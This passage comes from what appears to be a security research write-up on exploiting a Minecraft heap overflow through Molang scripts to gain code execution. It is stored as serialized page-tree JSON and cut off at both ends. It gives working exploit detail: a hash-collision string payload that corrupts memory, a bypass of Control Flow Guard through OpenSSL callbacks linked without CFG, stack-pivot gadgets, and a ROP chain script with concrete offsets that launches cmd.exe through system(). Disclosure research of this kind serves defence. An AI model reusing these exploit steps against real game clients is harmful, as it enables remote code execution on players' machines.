",{"type":26,"tag":53,"props":154729,"children":154731},{"className":154730},[],[154732],{"type":32,"value":149556},{"type":32,"value":153341},{"type":26,"tag":53,"props":154735,"children":154737},{"className":154736},[],[154738],{"type":32,"value":152536},{"type":32,"value":154740},". From there, the script can overwrite three variable indices at offset ",{"type":26,"tag":53,"props":154742,"children":154744},{"className":154743},[],[154745],{"type":32,"value":152294},{"type":32,"value":154747}," within the ",{"type":26,"tag":53,"props":154749,"children":154751},{"className":154750},[],[154752],{"type":32,"value":152536},{"type":32,"value":154754}," by using the string type. This works because a Molang string's value is just a ",{"type":26,"tag":53,"props":154756,"children":154758},{"className":154757},[],[154759],{"type":32,"value":55326},{"type":32,"value":154761}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":26,"tag":53,"props":154763,"children":154765},{"className":154764},[],[154766],{"type":32,"value":154767},"0xfb",{"type":32,"value":637},{"type":26,"tag":53,"props":154770,"children":154772},{"className":154771},[],[154773],{"type":32,"value":154774},"0xfc",{"type":32,"value":209},{"type":26,"tag":53,"props":154777,"children":154779},{"className":154778},[],[154780],{"type":32,"value":154781},"0xfd",{"type":32,"value":154783}," the script would do:",{"type":26,"tag":465,"props":154785,"children":154787},{"code":154786},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[154788],{"type":26,"tag":53,"props":154789,"children":154790},{"__ignoreMap":7},[154791],{"type":32,"value":154786},{"type":26,"tag":35,"props":154793,"children":154794},{},[154795,154797,154802,154803,154809,154811,154816],{"type":32,"value":154796},"That line would write the ",{"type":26,"tag":53,"props":154798,"children":154800},{"className":154799},[],[154801],{"type":32,"value":55326},{"type":32,"value":91793},{"type":26,"tag":53,"props":154804,"children":154806},{"className":154805},[],[154807],{"type":32,"value":154808},"0x302700fb00fc00fd",{"type":32,"value":154810}," (string's FNV-1 hash) into the allocated ",{"type":26,"tag":53,"props":154812,"children":154814},{"className":154813},[],[154815],{"type":32,"value":152536},{"type":32,"value":154817}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":26,"tag":41,"props":154819,"children":154821},{"id":154820},"hijacking-execution",[154822],{"type":32,"value":154823},"Hijacking Execution",{"type":26,"tag":35,"props":154825,"children":154826},{},[154827,154829,154834,154836,154842],{"type":32,"value":154828},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":26,"tag":53,"props":154830,"children":154832},{"className":154831},[],[154833],{"type":32,"value":154371},{"type":32,"value":154835}," and function pointers in the writable ",{"type":26,"tag":53,"props":154837,"children":154839},{"className":154838},[],[154840],{"type":32,"value":154841},".data",{"type":32,"value":154843}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":26,"tag":35,"props":154845,"children":154846},{},[154847],{"type":32,"value":154848},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":26,"tag":35,"props":154850,"children":154851},{},[154852],{"type":32,"value":154853},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":26,"tag":35,"props":154855,"children":154856},{},[154857],{"type":26,"tag":132,"props":154858,"children":154860},{"alt":134,"src":154859},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":26,"tag":35,"props":154862,"children":154863},{},[154864,154866,154872,154874,154880,154882,154887,154889,154894,154896,154902,154904,154909,154911,154917,154919,154924],{"type":32,"value":154865},"This snippet calls a method on an object: ",{"type":26,"tag":53,"props":154867,"children":154869},{"className":154868},[],[154870],{"type":32,"value":154871},"rcx",{"type":32,"value":154873}," holds the object pointer, the first ",{"type":26,"tag":53,"props":154875,"children":154877},{"className":154876},[],[154878],{"type":32,"value":154879},"mov",{"type":32,"value":154881}," loads the object's ",{"type":26,"tag":53,"props":154883,"children":154885},{"className":154884},[],[154886],{"type":32,"value":154371},{"type":32,"value":154888}," into ",{"type":26,"tag":53,"props":154890,"children":154892},{"className":154891},[],[154893],{"type":32,"value":56466},{"type":32,"value":154895},", and the function pointer at ",{"type":26,"tag":53,"props":154897,"children":154899},{"className":154898},[],[154900],{"type":32,"value":154901},"rax + 0x8",{"type":32,"value":154903}," is read into ",{"type":26,"tag":53,"props":154905,"children":154907},{"className":154906},[],[154908],{"type":32,"value":56466},{"type":32,"value":154910},". Finally, ",{"type":26,"tag":53,"props":154912,"children":154914},{"className":154913},[],[154915],{"type":32,"value":154916},"__guard_dispatch_icall_fptr",{"type":32,"value":154918}," is called - this is the CFG dispatch function that validates ",{"type":26,"tag":53,"props":154920,"children":154922},{"className":154921},[],[154923],{"type":32,"value":56466},{"type":32,"value":154925}," as a legal call target before invoking it.",{"type":26,"tag":35,"props":154927,"children":154928},{},[154929],{"type":32,"value":154930},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":26,"tag":35,"props":154932,"children":154933},{},[154934],{"type":26,"tag":132,"props":154935,"children":154937},{"alt":134,"src":154936},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":26,"tag":35,"props":154939,"children":154940},{},[154941,154943,154949,154951,154957],{"type":32,"value":154942},"Here, the function pointer at ",{"type":26,"tag":53,"props":154944,"children":154946},{"className":154945},[],[154947],{"type":32,"value":154948},"vtable + 0x10",{"type":32,"value":154950}," is loaded into ",{"type":26,"tag":53,"props":154952,"children":154954},{"className":154953},[],[154955],{"type":32,"value":154956},"rdx",{"type":32,"value":154958}," and then called directly.",{"type":26,"tag":35,"props":154960,"children":154961},{},[154962],{"type":32,"value":154963},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":26,"tag":35,"props":154965,"children":154966},{},[154967,154969,154974],{"type":32,"value":154968},"So the remaining task is to locate OpenSSL function or ",{"type":26,"tag":53,"props":154970,"children":154972},{"className":154971},[],[154973],{"type":32,"value":154371},{"type":32,"value":154975}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":26,"tag":70,"props":154977,"children":154979},{"id":154978},"locating-overwrite-targets",[154980],{"type":32,"value":154981},"Locating Overwrite Targets",{"type":26,"tag":35,"props":154983,"children":154984},{},[154985,154987,154993,154994,154999,155001,155006,155008,155014],{"type":32,"value":154986},"One of the first targets we identified were the ",{"type":26,"tag":53,"props":154988,"children":154990},{"className":154989},[],[154991],{"type":32,"value":154992},"malloc",{"type":32,"value":209},{"type":26,"tag":53,"props":154995,"children":154997},{"className":154996},[],[154998],{"type":32,"value":149604},{"type":32,"value":155000}," callbacks. These reside in the ",{"type":26,"tag":53,"props":155002,"children":155004},{"className":155003},[],[155005],{"type":32,"value":154841},{"type":32,"value":155007}," section and are invoked whenever they don’t match the expected ",{"type":26,"tag":53,"props":155009,"children":155011},{"className":155010},[],[155012],{"type":32,"value":155013},"OPENSSL_malloc/free",{"type":32,"value":131462},{"type":26,"tag":35,"props":155016,"children":155017},{},[155018],{"type":26,"tag":132,"props":155019,"children":155021},{"alt":134,"src":155020},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":26,"tag":35,"props":155023,"children":155024},{},[155025],{"type":32,"value":155026},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":26,"tag":35,"props":155028,"children":155029},{},[155030,155032,155038,155040,155046,155048,155053],{"type":32,"value":155031},"Later, we found another promising function: ",{"type":26,"tag":53,"props":155033,"children":155035},{"className":155034},[],[155036],{"type":32,"value":155037},"ossl_ec_key_new_method_int",{"type":32,"value":155039},". This function creates and initializes an ",{"type":26,"tag":53,"props":155041,"children":155043},{"className":155042},[],[155044],{"type":32,"value":155045},"EC_KEY",{"type":32,"value":155047}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":26,"tag":53,"props":155049,"children":155051},{"className":155050},[],[155052],{"type":32,"value":154841},{"type":32,"value":155054},") containing function pointers:",{"type":26,"tag":35,"props":155056,"children":155057},{},[155058],{"type":26,"tag":132,"props":155059,"children":155061},{"alt":134,"src":155060},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":26,"tag":35,"props":155063,"children":155064},{},[155065,155067,155073,155074,155080,155082,155087,155089,155095,155097,155102,155104,155109,155111,155116],{"type":32,"value":155066},"In the image above, ",{"type":26,"tag":53,"props":155068,"children":155070},{"className":155069},[],[155071],{"type":32,"value":155072},"ret->meth",{"type":32,"value":124926},{"type":26,"tag":53,"props":155075,"children":155077},{"className":155076},[],[155078],{"type":32,"value":155079},"default_ec_key_meth",{"type":32,"value":155081},", which points to a structure of function pointers located in ",{"type":26,"tag":53,"props":155083,"children":155085},{"className":155084},[],[155086],{"type":32,"value":154841},{"type":32,"value":155088},". It then calls ",{"type":26,"tag":53,"props":155090,"children":155092},{"className":155091},[],[155093],{"type":32,"value":155094},"ret->meth->init",{"type":32,"value":155096},", passing the ",{"type":26,"tag":53,"props":155098,"children":155100},{"className":155099},[],[155101],{"type":32,"value":17400},{"type":32,"value":155103}," pointer (",{"type":26,"tag":53,"props":155105,"children":155107},{"className":155106},[],[155108],{"type":32,"value":10699},{"type":32,"value":155110},"). This alone isn’t especially useful because ",{"type":26,"tag":53,"props":155112,"children":155114},{"className":155113},[],[155115],{"type":32,"value":10699},{"type":32,"value":155117}," is heap-allocated.",{"type":26,"tag":35,"props":155119,"children":155120},{},[155121,155123,155128],{"type":32,"value":155122},"But, if we look at how ",{"type":26,"tag":53,"props":155124,"children":155126},{"className":155125},[],[155127],{"type":32,"value":155094},{"type":32,"value":155129}," is invoked in the disassembly:",{"type":26,"tag":35,"props":155131,"children":155132},{},[155133],{"type":26,"tag":132,"props":155134,"children":155136},{"alt":134,"src":155135},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":26,"tag":35,"props":155138,"children":155139},{},[155140,155141,155146,155148,155153,155155,155160,155162,155167,155169,155174,155176,155181,155183,155188,155190,155196],{"type":32,"value":7192},{"type":26,"tag":53,"props":155142,"children":155144},{"className":155143},[],[155145],{"type":32,"value":155094},{"type":32,"value":155147}," is not ",{"type":26,"tag":53,"props":155149,"children":155151},{"className":155150},[],[155152],{"type":32,"value":54187},{"type":32,"value":155154},", it is called while ",{"type":26,"tag":53,"props":155156,"children":155158},{"className":155157},[],[155159],{"type":32,"value":56466},{"type":32,"value":155161}," still contains the value of ",{"type":26,"tag":53,"props":155163,"children":155165},{"className":155164},[],[155166],{"type":32,"value":155072},{"type":32,"value":155168}," - that is, a pointer to the structure in ",{"type":26,"tag":53,"props":155170,"children":155172},{"className":155171},[],[155173],{"type":32,"value":154841},{"type":32,"value":155175}," that we control. This is ideal, because we can overwrite ",{"type":26,"tag":53,"props":155177,"children":155179},{"className":155178},[],[155180],{"type":32,"value":155079},{"type":32,"value":155182}," with a pointer to a region in ",{"type":26,"tag":53,"props":155184,"children":155186},{"className":155185},[],[155187],{"type":32,"value":154841},{"type":32,"value":155189}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":26,"tag":53,"props":155191,"children":155193},{"className":155192},[],[155194],{"type":32,"value":155195},"mov rsp, rax; ret",{"type":32,"value":155197},"-style gadget.",{"type":26,"tag":35,"props":155199,"children":155200},{},[155201,155203,155208,155210,155215],{"type":32,"value":155202},"Although we discovered that ",{"type":26,"tag":53,"props":155204,"children":155206},{"className":155205},[],[155207],{"type":32,"value":155037},{"type":32,"value":155209}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":26,"tag":53,"props":155211,"children":155213},{"className":155212},[],[155214],{"type":32,"value":155013},{"type":32,"value":155216}," callbacks.",{"type":26,"tag":70,"props":155218,"children":155220},{"id":155219},"stack-pivot",[155221],{"type":32,"value":155222},"Stack Pivot",{"type":26,"tag":35,"props":155224,"children":155225},{},[155226,155228,155233,155235,155240,155242,155247,155249,155255],{"type":32,"value":155227},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":26,"tag":53,"props":155229,"children":155231},{"className":155230},[],[155232],{"type":32,"value":154841},{"type":32,"value":155234},", overwrite ",{"type":26,"tag":53,"props":155236,"children":155238},{"className":155237},[],[155239],{"type":32,"value":155079},{"type":32,"value":155241}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":26,"tag":53,"props":155243,"children":155245},{"className":155244},[],[155246],{"type":32,"value":155037},{"type":32,"value":155248},". This ultimately calls ",{"type":26,"tag":53,"props":155250,"children":155252},{"className":155251},[],[155253],{"type":32,"value":155254},"default_ec_key_meth->init",{"type":32,"value":155256},", which executes the pivot and begins ROP execution.",{"type":26,"tag":35,"props":155258,"children":155259},{},[155260,155262,155268,155270,155276],{"type":32,"value":155261},"We chose to overwrite the ",{"type":26,"tag":53,"props":155263,"children":155265},{"className":155264},[],[155266],{"type":32,"value":155267},"OPENSSL_free",{"type":32,"value":155269}," callback. This produces only a minor memory leak, while overwriting ",{"type":26,"tag":53,"props":155271,"children":155273},{"className":155272},[],[155274],{"type":32,"value":155275},"OPENSSL_malloc",{"type":32,"value":155277}," would require our replacement function to return a writable, unused memory region.",{"type":26,"tag":35,"props":155279,"children":155280},{},[155281,155283,155289,155290,155296,155298,155303],{"type":32,"value":155282},"For the stack pivot, we found two useful gadgets: ",{"type":26,"tag":53,"props":155284,"children":155286},{"className":155285},[],[155287],{"type":32,"value":155288},"add rsp, 0x10; pop r14; ret",{"type":32,"value":209},{"type":26,"tag":53,"props":155291,"children":155293},{"className":155292},[],[155294],{"type":32,"value":155295},"xchg rsp, rax; ret",{"type":32,"value":155297},". The exploit writes them into ",{"type":26,"tag":53,"props":155299,"children":155301},{"className":155300},[],[155302],{"type":32,"value":154841},{"type":32,"value":155304}," like this:",{"type":26,"tag":465,"props":155306,"children":155308},{"code":155307}," +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n +-----------------------------+\n+0x08 | padding |\n +-----------------------------+\n+0x10 | xchg rsp, rax; ret |\n +-----------------------------+\n+0x18 | padding (pop r14) |\n +-----------------------------+\n+0x20 | ROP Chain |\n +-----------------------------+\n",[155309],{"type":26,"tag":53,"props":155310,"children":155311},{"__ignoreMap":7},[155312],{"type":32,"value":155307},{"type":26,"tag":35,"props":155314,"children":155315},{},[155316,155318,155323,155325,155330,155332,155337,155339,155344,155346,155351,155353,155358,155360,155365],{"type":32,"value":155317},"The second gadget, ",{"type":26,"tag":53,"props":155319,"children":155321},{"className":155320},[],[155322],{"type":32,"value":155295},{"type":32,"value":155324},", is placed in the slot corresponding to the ",{"type":26,"tag":53,"props":155326,"children":155328},{"className":155327},[],[155329],{"type":32,"value":20448},{"type":32,"value":155331}," function pointer. As mentioned earlier, when ",{"type":26,"tag":53,"props":155333,"children":155335},{"className":155334},[],[155336],{"type":32,"value":155094},{"type":32,"value":155338}," is called, ",{"type":26,"tag":53,"props":155340,"children":155342},{"className":155341},[],[155343],{"type":32,"value":56466},{"type":32,"value":155345}," contains a pointer to ",{"type":26,"tag":53,"props":155347,"children":155349},{"className":155348},[],[155350],{"type":32,"value":155079},{"type":32,"value":155352}," - which we have overwritten and now points to our ",{"type":26,"tag":53,"props":155354,"children":155356},{"className":155355},[],[155357],{"type":32,"value":155288},{"type":32,"value":155359}," gadget in ",{"type":26,"tag":53,"props":155361,"children":155363},{"className":155362},[],[155364],{"type":32,"value":154841},{"type":32,"value":353},{"type":26,"tag":35,"props":155367,"children":155368},{},[155369,155371,155377,155379,155384,155386,155392,155394,155399,155401,155406,155408,155413,155415,155420,155422,155427,155429,155434],{"type":32,"value":155370},"When the call occurs, ",{"type":26,"tag":53,"props":155372,"children":155374},{"className":155373},[],[155375],{"type":32,"value":155376},"xchg rsp, rax",{"type":32,"value":155378}," swaps the stack pointer with this controlled pointer inside ",{"type":26,"tag":53,"props":155380,"children":155382},{"className":155381},[],[155383],{"type":32,"value":154841},{"type":32,"value":155385},", effectively moving ",{"type":26,"tag":53,"props":155387,"children":155389},{"className":155388},[],[155390],{"type":32,"value":155391},"rsp",{"type":32,"value":155393}," into our ROP region. After the ",{"type":26,"tag":53,"props":155395,"children":155397},{"className":155396},[],[155398],{"type":32,"value":10699},{"type":32,"value":155400},", execution continues at ",{"type":26,"tag":53,"props":155402,"children":155404},{"className":155403},[],[155405],{"type":32,"value":155288},{"type":32,"value":155407},", which advances ",{"type":26,"tag":53,"props":155409,"children":155411},{"className":155410},[],[155412],{"type":32,"value":155391},{"type":32,"value":155414}," by ",{"type":26,"tag":53,"props":155416,"children":155418},{"className":155417},[],[155419],{"type":32,"value":44226},{"type":32,"value":155421}," bytes, skipping over the padding and the ",{"type":26,"tag":53,"props":155423,"children":155425},{"className":155424},[],[155426],{"type":32,"value":155295},{"type":32,"value":155428}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":26,"tag":53,"props":155430,"children":155432},{"className":155431},[],[155433],{"type":32,"value":155295},{"type":32,"value":155435},") begins executing.",{"type":26,"tag":41,"props":155437,"children":155439},{"id":155438},"rop-chain",[155440],{"type":32,"value":155441},"ROP Chain",{"type":26,"tag":35,"props":155443,"children":155444},{},[155445,155447,155453,155455,155460],{"type":32,"value":155446},"For the demo, the ROP chain simply calls ",{"type":26,"tag":53,"props":155448,"children":155450},{"className":155449},[],[155451],{"type":32,"value":155452},"system(\"cmd.exe\")",{"type":32,"value":155454},". Because Minecraft does not use ",{"type":26,"tag":53,"props":155456,"children":155458},{"className":155457},[],[155459],{"type":32,"value":131184},{"type":32,"value":155461},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":26,"tag":35,"props":155463,"children":155464},{},[155465,155467,155473,155475,155481,155483,155488,155490,155496,155498,155503],{"type":32,"value":155466},"This is straightforward: the chain first calls ",{"type":26,"tag":53,"props":155468,"children":155470},{"className":155469},[],[155471],{"type":32,"value":155472},"GetModuleHandle(\"ucrtbase.dll\")",{"type":32,"value":155474}," to obtain the base address of ",{"type":26,"tag":53,"props":155476,"children":155478},{"className":155477},[],[155479],{"type":32,"value":155480},"ucrtbase.dll",{"type":32,"value":155482}," (which exports ",{"type":26,"tag":53,"props":155484,"children":155486},{"className":155485},[],[155487],{"type":32,"value":131184},{"type":32,"value":155489},"). It then calls ",{"type":26,"tag":53,"props":155491,"children":155493},{"className":155492},[],[155494],{"type":32,"value":155495},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":32,"value":155497}," to retrieve the function’s address. Finally, it invokes ",{"type":26,"tag":53,"props":155499,"children":155501},{"className":155500},[],[155502],{"type":32,"value":131184},{"type":32,"value":155504}," with the \"cmd.exe\" string.",{"type":26,"tag":35,"props":155506,"children":155507},{},[155508],{"type":32,"value":155509},"In the exploit script, the ROP chain looks something like this:",{"type":26,"tag":465,"props":155511,"children":155513},{"code":155512,"language":19169,"meta":7,"className":19170,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[155514],{"type":26,"tag":53,"props":155515,"children":155516},{"__ignoreMap":7},[155517,155525,155533,155558,155566,155574,155581,155589,155597,155624,155637,155650,155671,155700,155729,155736,155744,155757,155765,155801,155809,155816,155824,155831,155856,155867,155879],{"type":26,"tag":475,"props":155518,"children":155519},{"class":477,"line":478},[155520],{"type":26,"tag":475,"props":155521,"children":155522},{"style":552},[155523],{"type":32,"value":155524},"# get the address of `GetModuleHandle` to `rax`\n",{"type":26,"tag":475,"props":155526,"children":155527},{"class":477,"line":516},[155528],{"type":26,"tag":475,"props":155529,"children":155530},{"style":499},[155531],{"type":32,"value":155532},"rop.gadget(pop_r8)\n",{"type":26,"tag":475,"props":155534,"children":155535},{"class":477,"line":539},[155536,155541,155545,155550,155554],{"type":26,"tag":475,"props":155537,"children":155538},{"style":499},[155539],{"type":32,"value":155540},"rop.gadget(addr_get_module_handle_a ",{"type":26,"tag":475,"props":155542,"children":155543},{"style":714},[155544],{"type":32,"value":4039},{"type":26,"tag":475,"props":155546,"children":155547},{"style":482},[155548],{"type":32,"value":155549}," 0x",{"type":26,"tag":475,"props":155551,"children":155552},{"style":903},[155553],{"type":32,"value":134301},{"type":26,"tag":475,"props":155555,"children":155556},{"style":499},[155557],{"type":32,"value":647},{"type":26,"tag":475,"props":155559,"children":155560},{"class":477,"line":548},[155561],{"type":26,"tag":475,"props":155562,"children":155563},{"style":552},[155564],{"type":32,"value":155565},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":26,"tag":475,"props":155567,"children":155568},{"class":477,"line":558},[155569],{"type":26,"tag":475,"props":155570,"children":155571},{"style":499},[155572],{"type":32,"value":155573},"rop.gadget(mov_rax_r8_28)\n",{"type":26,"tag":475,"props":155575,"children":155576},{"class":477,"line":582},[155577],{"type":26,"tag":475,"props":155578,"children":155579},{"emptyLinePlaceholder":18},[155580],{"type":32,"value":545},{"type":26,"tag":475,"props":155582,"children":155583},{"class":477,"line":596},[155584],{"type":26,"tag":475,"props":155585,"children":155586},{"style":552},[155587],{"type":32,"value":155588},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":26,"tag":475,"props":155590,"children":155591},{"class":477,"line":610},[155592],{"type":26,"tag":475,"props":155593,"children":155594},{"style":499},[155595],{"type":32,"value":155596},"rop.gadget(pop_rcx)\n",{"type":26,"tag":475,"props":155598,"children":155599},{"class":477,"line":650},[155600,155605,155610,155615,155619],{"type":26,"tag":475,"props":155601,"children":155602},{"style":499},[155603],{"type":32,"value":155604},"rop.gadget(",{"type":26,"tag":475,"props":155606,"children":155607},{"style":482},[155608],{"type":32,"value":155609},"0x",{"type":26,"tag":475,"props":155611,"children":155612},{"style":903},[155613],{"type":32,"value":155614},"7468B68",{"type":26,"tag":475,"props":155616,"children":155617},{"style":499},[155618],{"type":32,"value":2794},{"type":26,"tag":475,"props":155620,"children":155621},{"style":552},[155622],{"type":32,"value":155623},"# offset of \"ucrtbase.dll\" string\n",{"type":26,"tag":475,"props":155625,"children":155626},{"class":477,"line":679},[155627,155632],{"type":26,"tag":475,"props":155628,"children":155629},{"style":499},[155630],{"type":32,"value":155631},"rop.gadget(ret) ",{"type":26,"tag":475,"props":155633,"children":155634},{"style":552},[155635],{"type":32,"value":155636},"# movaps alignment\n",{"type":26,"tag":475,"props":155638,"children":155639},{"class":477,"line":735},[155640,155645],{"type":26,"tag":475,"props":155641,"children":155642},{"style":499},[155643],{"type":32,"value":155644},"rop.gadget(push_rax_ret) ",{"type":26,"tag":475,"props":155646,"children":155647},{"style":552},[155648],{"type":32,"value":155649},"# calls `GetModuleHandle`\n",{"type":26,"tag":475,"props":155651,"children":155652},{"class":477,"line":744},[155653,155658,155662,155667],{"type":26,"tag":475,"props":155654,"children":155655},{"style":499},[155656],{"type":32,"value":155657},"rop.literal(u64(",{"type":26,"tag":475,"props":155659,"children":155660},{"style":482},[155661],{"type":32,"value":2930},{"type":26,"tag":475,"props":155663,"children":155664},{"style":629},[155665],{"type":32,"value":155666},"\"ucrtbase\"",{"type":26,"tag":475,"props":155668,"children":155669},{"style":499},[155670],{"type":32,"value":1510},{"type":26,"tag":475,"props":155672,"children":155673},{"class":477,"line":753},[155674,155678,155682,155687,155692,155696],{"type":26,"tag":475,"props":155675,"children":155676},{"style":499},[155677],{"type":32,"value":155657},{"type":26,"tag":475,"props":155679,"children":155680},{"style":482},[155681],{"type":32,"value":2930},{"type":26,"tag":475,"props":155683,"children":155684},{"style":629},[155685],{"type":32,"value":155686},"\".dll",{"type":26,"tag":475,"props":155688,"children":155689},{"style":48067},[155690],{"type":32,"value":155691},"\\x00\\x00\\x00\\x00",{"type":26,"tag":475,"props":155693,"children":155694},{"style":629},[155695],{"type":32,"value":727},{"type":26,"tag":475,"props":155697,"children":155698},{"style":499},[155699],{"type":32,"value":1510},{"type":26,"tag":475,"props":155701,"children":155702},{"class":477,"line":761},[155703,155707,155711,155716,155721,155725],{"type":26,"tag":475,"props":155704,"children":155705},{"style":499},[155706],{"type":32,"value":155657},{"type":26,"tag":475,"props":155708,"children":155709},{"style":482},[155710],{"type":32,"value":2930},{"type":26,"tag":475,"props":155712,"children":155713},{"style":629},[155714],{"type":32,"value":155715},"\"system",{"type":26,"tag":475,"props":155717,"children":155718},{"style":48067},[155719],{"type":32,"value":155720},"\\x00\\x00",{"type":26,"tag":475,"props":155722,"children":155723},{"style":629},[155724],{"type":32,"value":727},{"type":26,"tag":475,"props":155726,"children":155727},{"style":499},[155728],{"type":32,"value":1510},{"type":26,"tag":475,"props":155730,"children":155731},{"class":477,"line":770},[155732],{"type":26,"tag":475,"props":155733,"children":155734},{"emptyLinePlaceholder":18},[155735],{"type":32,"value":545},{"type":26,"tag":475,"props":155737,"children":155738},{"class":477,"line":794},[155739],{"type":26,"tag":475,"props":155740,"children":155741},{"style":552},[155742],{"type":32,"value":155743},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":26,"tag":475,"props":155745,"children":155746},{"class":477,"line":831},[155747,155752],{"type":26,"tag":475,"props":155748,"children":155749},{"style":499},[155750],{"type":32,"value":155751},"rop.gadget(xchg_rcx_rax) ",{"type":26,"tag":475,"props":155753,"children":155754},{"style":552},[155755],{"type":32,"value":155756},"# move the return value of `GetModuleHandle` to rcx\n",{"type":26,"tag":475,"props":155758,"children":155759},{"class":477,"line":845},[155760],{"type":26,"tag":475,"props":155761,"children":155762},{"style":499},[155763],{"type":32,"value":155764},"rop.gadget(pop_rdx)\n",{"type":26,"tag":475,"props":155766,"children":155767},{"class":477,"line":854},[155768,155772,155776,155780,155784,155788,155792,155796],{"type":26,"tag":475,"props":155769,"children":155770},{"style":499},[155771],{"type":32,"value":155604},{"type":26,"tag":475,"props":155773,"children":155774},{"style":482},[155775],{"type":32,"value":155609},{"type":26,"tag":475,"props":155777,"children":155778},{"style":903},[155779],{"type":32,"value":155614},{"type":26,"tag":475,"props":155781,"children":155782},{"style":714},[155783],{"type":32,"value":8616},{"type":26,"tag":475,"props":155785,"children":155786},{"style":482},[155787],{"type":32,"value":155549},{"type":26,"tag":475,"props":155789,"children":155790},{"style":903},[155791],{"type":32,"value":88873},{"type":26,"tag":475,"props":155793,"children":155794},{"style":499},[155795],{"type":32,"value":2794},{"type":26,"tag":475,"props":155797,"children":155798},{"style":552},[155799],{"type":32,"value":155800},"# offset of \"system\" string\n",{"type":26,"tag":475,"props":155802,"children":155803},{"class":477,"line":862},[155804],{"type":26,"tag":475,"props":155805,"children":155806},{"style":499},[155807],{"type":32,"value":155808},"rop.gadget(get_proc_addr)\n",{"type":26,"tag":475,"props":155810,"children":155811},{"class":477,"line":885},[155812],{"type":26,"tag":475,"props":155813,"children":155814},{"emptyLinePlaceholder":18},[155815],{"type":32,"value":545},{"type":26,"tag":475,"props":155817,"children":155818},{"class":477,"line":913},[155819],{"type":26,"tag":475,"props":155820,"children":155821},{"style":552},[155822],{"type":32,"value":155823},"# call `system(\"cmd.exe\")`\n",{"type":26,"tag":475,"props":155825,"children":155826},{"class":477,"line":926},[155827],{"type":26,"tag":475,"props":155828,"children":155829},{"style":499},[155830],{"type":32,"value":155596},{"type":26,"tag":475,"props":155832,"children":155833},{"class":477,"line":948},[155834,155838,155842,155847,155851],{"type":26,"tag":475,"props":155835,"children":155836},{"style":499},[155837],{"type":32,"value":155604},{"type":26,"tag":475,"props":155839,"children":155840},{"style":482},[155841],{"type":32,"value":155609},{"type":26,"tag":475,"props":155843,"children":155844},{"style":903},[155845],{"type":32,"value":155846},"7468DB8",{"type":26,"tag":475,"props":155848,"children":155849},{"style":499},[155850],{"type":32,"value":2794},{"type":26,"tag":475,"props":155852,"children":155853},{"style":552},[155854],{"type":32,"value":155855},"# offset of \"cmd.exe\" string\n",{"type":26,"tag":475,"props":155857,"children":155858},{"class":477,"line":966},[155859,155863],{"type":26,"tag":475,"props":155860,"children":155861},{"style":499},[155862],{"type":32,"value":155631},{"type":26,"tag":475,"props":155864,"children":155865},{"style":552},[155866],{"type":32,"value":155636},{"type":26,"tag":475,"props":155868,"children":155869},{"class":477,"line":979},[155870,155874],{"type":26,"tag":475,"props":155871,"children":155872},{"style":499},[155873],{"type":32,"value":155644},{"type":26,"tag":475,"props":155875,"children":155876},{"style":552},[155877],{"type":32,"value":155878},"# calls 